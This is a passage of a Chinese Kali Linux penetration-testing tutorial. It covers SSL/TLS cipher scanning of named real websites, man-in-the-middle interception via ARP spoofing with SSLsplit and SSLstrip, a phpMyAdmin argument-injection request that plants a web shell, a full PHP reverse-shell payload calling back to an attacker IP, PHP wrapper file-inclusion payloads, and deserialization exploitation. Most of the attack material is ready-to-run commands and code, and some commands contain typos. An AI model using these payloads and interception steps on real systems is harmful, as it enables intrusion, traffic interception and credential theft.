# 可以查看目标站点证书、受信证书链、CipherSuite等信息
openssl ciphers -v "NULL,EXPORT,LOW,DES"
# 查看目前可被破解的ciphersuite
openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' www.taobao.com:443
openssl s_client -cipher "ECDHE-PSK-NULL-SHA" -connect www.baidu.com:443
# 查看目标站点是否支持不安全的ciphersuite
② SSLScan
SSLScan相比于OpenSSL命令使用更加简单,可读性好,能够自动识别SSL配置错误、过期协议、过时的ciphersuite和hash算法,扫描结果中绿色表示安全,红色、黄色要引起注意。
sslscan --tlsall www.taobao.com:443
# 扫描目标站点支持的所有加密方法是否存在安全问题
sslscan --show-certificate www.taobao.com:443
# 分析证书详细信息
③ Nmap
利用Nmap脚本实现SSL/TLS安全扫描。
nmap --script=ssl-enum-ciphers.nse www.taobao.com
(3)攻击方法
SSL/TLS的攻击方法主要基于中间人攻击实现,中间人攻击原理及类型参见 Kali Linux渗透测试——密码破解 中密码嗅探章节内容,SSL/TLS中间人攻击实现前提主要是客户端已经信任伪造证书的颁发机构或者禁止显示证书错误的告警信息。
① SSLsplit
透明SSL/TLS中间人攻击工具,对客户端伪装成服务器,对服务器伪装成客户端。
echo 1 > /proc/sys/net/ipv4/ip_forward # 开启主机路由功能 openssl gensa -out ca.key 2048 # 生成证书私钥 openssl req -new -x509 -days 1096 -key ca.key -out ca.crt # 利用私钥签名生成证书 iptables -t nat -F iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 # 添加iptables路由转发规则 ettercap -T -M arp:remote /10.10.11.1// /10.10.11.129// -P dns_spoff # 在网关和目标主机之间通过arp欺骗实现中间人攻击 mkdir -p test/logdir sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 # -D:debug模式,输出详细信息 # -l:将建立连接信息记录到connect.log # -j:指定根目录 # -S:指定解密的请求数据存放的目录,在根目录下 # 侦听本地所有ip的8443和8080端口
HTTPS通信数据会记录在/root/test/logdir/
中,但是一些敏感信息可能仍然是密文,因为通信过程中除了SSL/TLS加密,还有密码控件等其他层面加密过程。注意在实施攻击前要在目标主机上安装生成的证书,不然目标主机在访问网站时会提示证书不受信。
② SSLstrip
将客户端与中间人之间的通信流量直接变为明文。
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
# 将http和https流量转发到8080端口
ssltrip -l 8080
# ssltrip开启8080端口监听
ssltrip会在当前工作目录上自动生成ssltrip.log
文件,记录通信数据。注意使用ssltrip攻击后目标主机浏览器在访问网站时URL协议变为HTTP,容易引起怀疑。
(1) phpMyAdmin默认安装漏洞
早期phpMyAdmin安装后如果管理员不修改配置或删除配置页面,则通过phpMyAdmin/setup
可以不经验证直接登录,在未授权的情况下查看、修改配置参数。
在此漏洞基础上实现网页木马,具体利用方式为:通过访问phpMyAdmin目录可以在提交的url中修改php.ini主配置文件,执行PHP语句,可以利用Burp的Repeater模块转发、修改请求。
① 静态代码实现
在目标服务器上新建木马文件,发动攻击时通过HTTP Request访问并传递参数。
# allow_url_include:允许通过URL远程文件包含
# auto_prepend_file:在文件开始位置自动加上指定内容
# php://input:读取PHP输入流
POST http://10.10.11.128/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:10.10.11.128
<?php
passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/attack.php');
die();
?>
然后浏览器访问:http://10.10.11.128/attack.php?cmd=id
PHP执行系统命令的函数包括exec()、passthru()、system()、shell_exec()
string exec(string $command [, array &$output [, int &$return_var ]] )
,执行command参数所指定的命令,返回输出字符串,但不显示输出,如果需要显示输出可以结合echo查看。第二个参数作用是将输出内容写入数组变量,第三个参数将执行命令的状态码写入变量,执行成功为0void passthru( string $command [, int &$return_var ] )
,执行command参数所指定的命令,不返回输出结果,但是显示输出,不需要使用echo查看string system( string $command [, int &$return_var ] )
,执行command参数所指定的命令, 返回输出字符串,并且显示输出string shell_exec(string $command)
,等同于` `,通过 shell 环境执行命令,返回输出字符串,但不显示输出allow_url_include和allow_url_fopen参数使用,区分打开文件和包含文件
② 动态反弹Shell
可以利用kali中的反弹马:/usr/share/webshell/php/php-reverse-shell.php
,编辑配置其中的反弹ip和端口,然后将其内容写入HTTP Request,通过HTTP Request访问目标服务器发起攻击,而不在目标服务器上新建木马文件,攻击更加隐蔽。
POST http://10.10.11.128/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 HOST:10.10.11.128 <?php set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.11.129'; // CHANGE THIS $port = 1244; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); // Do the reverse shell... $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
在主机上用nc开启端口监听,等待目标服务器反向连接
图11 反向连接Shell
(2) PHP伪协议利用
伪协议是PHP语言的特性之一,通常结合文件包含漏洞使用,使用菜刀、蚁剑等工具可以直接访问伪协议传递的数据。PHP伪协议包括file、http、ftp、php、zlib、data、glob、phar、ssh2、rar、ogg、expect等12种,经常使用的伪协议如下:
① file://
http://127.0.0.1/index.php?file=file://C:/wamp64/www/cmd.txt
② http://
http://127.0.0.1/index.php?file=http://10.1.1.1/cmd.txt
③ ftp://
http://127.0.0.1/index.php?file=ftp://10.1.1.1/cmd.txt
④ php://
http://127.0.0.1/index.php?file=php://input
<?php phpinfo()?>
http://127.0.0.1/index.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
⑤ data://
http://127.0.0.1/index.php?file=data://text/plain,<?php%20phpinfo();?>
http://127.0.0.1/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
⑥ zip://、zlib://、bzip2://
http://127.0.0.1/index.php?file=zip://C:\wamp64\www\cmd.jpg%23php.txt
(3) PHP反序列化
① 序列化与反序列化
序列化指在数据处理过程中,将对象转化成便于存储、转移的形式,以便于在不同环境恢复状态继续使用。序列化是可逆的,反序列化是其逆过程。PHP使用 serialize
函数进行序列化,使用 unserialize
函数进行反序列化:
string serialize(mixed $value)
,用于序列化对象或数组,返回字符串mixed unserialize(string $str)
,序列化逆过程,将字符串还原成对象或数组如下代码:
<?php class staff{ public $name; public $age; public $height; function __construct($name,$age,$height){ $this->name = $name; $this->age = $age; $this->height = $height; } } $staff = new staff("Jim", 28, 180); var_dump(serialize($staff)); $serial_str = 'O:5:"staff":3:{s:4:"name";s:3:"Jim";s:3:"age";i:28;s:6:"height";i:180;}'; var_dump(unserialize($serial_str)); ?>
输出内容为:
string(71) 'O:5:"staff":3:{s:4:"name";s:3:"Jim";s:3:"age";i:28;s:6:"height";i:180;}'
// O:代表Object
// 3:代表对象名字长度为5个字符
// staff:对象的名称
// 3:代表对象属性有3个
// {}中为对象属性
// s:数据类型
// 4:属性名称的长度
// name:属性名称
// ...
object(staff)#1 (3) { ["name"]=> string(3) "Jim" ["age"]=> int(28) ["height"]=> int(180) }
② 反序列化漏洞
产生原因:
i) unserialize()
函数的参数可控,也就是说反序列化的内容是用户可以控制;
ii) PHP中有可以利用的类,并且类中又魔幻函数,包括:
__construct()
:构造函数,创建对象时自动调用__destruct()
:析构函数,对象销毁时自动调用__toString()
:当一个对象被当作一个字符串使用时自动调用__sleep()
:在对象被序列化时自动调用__wakeup()
:在对象被反序列化时自动调用漏洞举例:CVE-2016-7124
漏洞利用:当序列化字符串中标识对象属性的数量值大于实际数量值时,PHP将绕过__wakeup()
的执行
影响版本:PHP before 5.6.25
、PHP 7.x before 7.0.10
常见形式:通过源码审计发现反序列化漏洞,传参蓄意构造的序列化字符串 (可能需要变形) 完成漏洞利用,这种思路在CTF中十分常见
利用服务器对用户身份验证机制上的漏洞,通过重放或预测SessionID直接登录目标服务器。
实质上属于注入攻击,利用服务器对用户输入变量过滤不严注入恶意代码,使得目标系统错误执行输入变量中的命令。
注意:可能受到当前提供服务用户的权限限制,一些敏感操作需要进一步提权。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。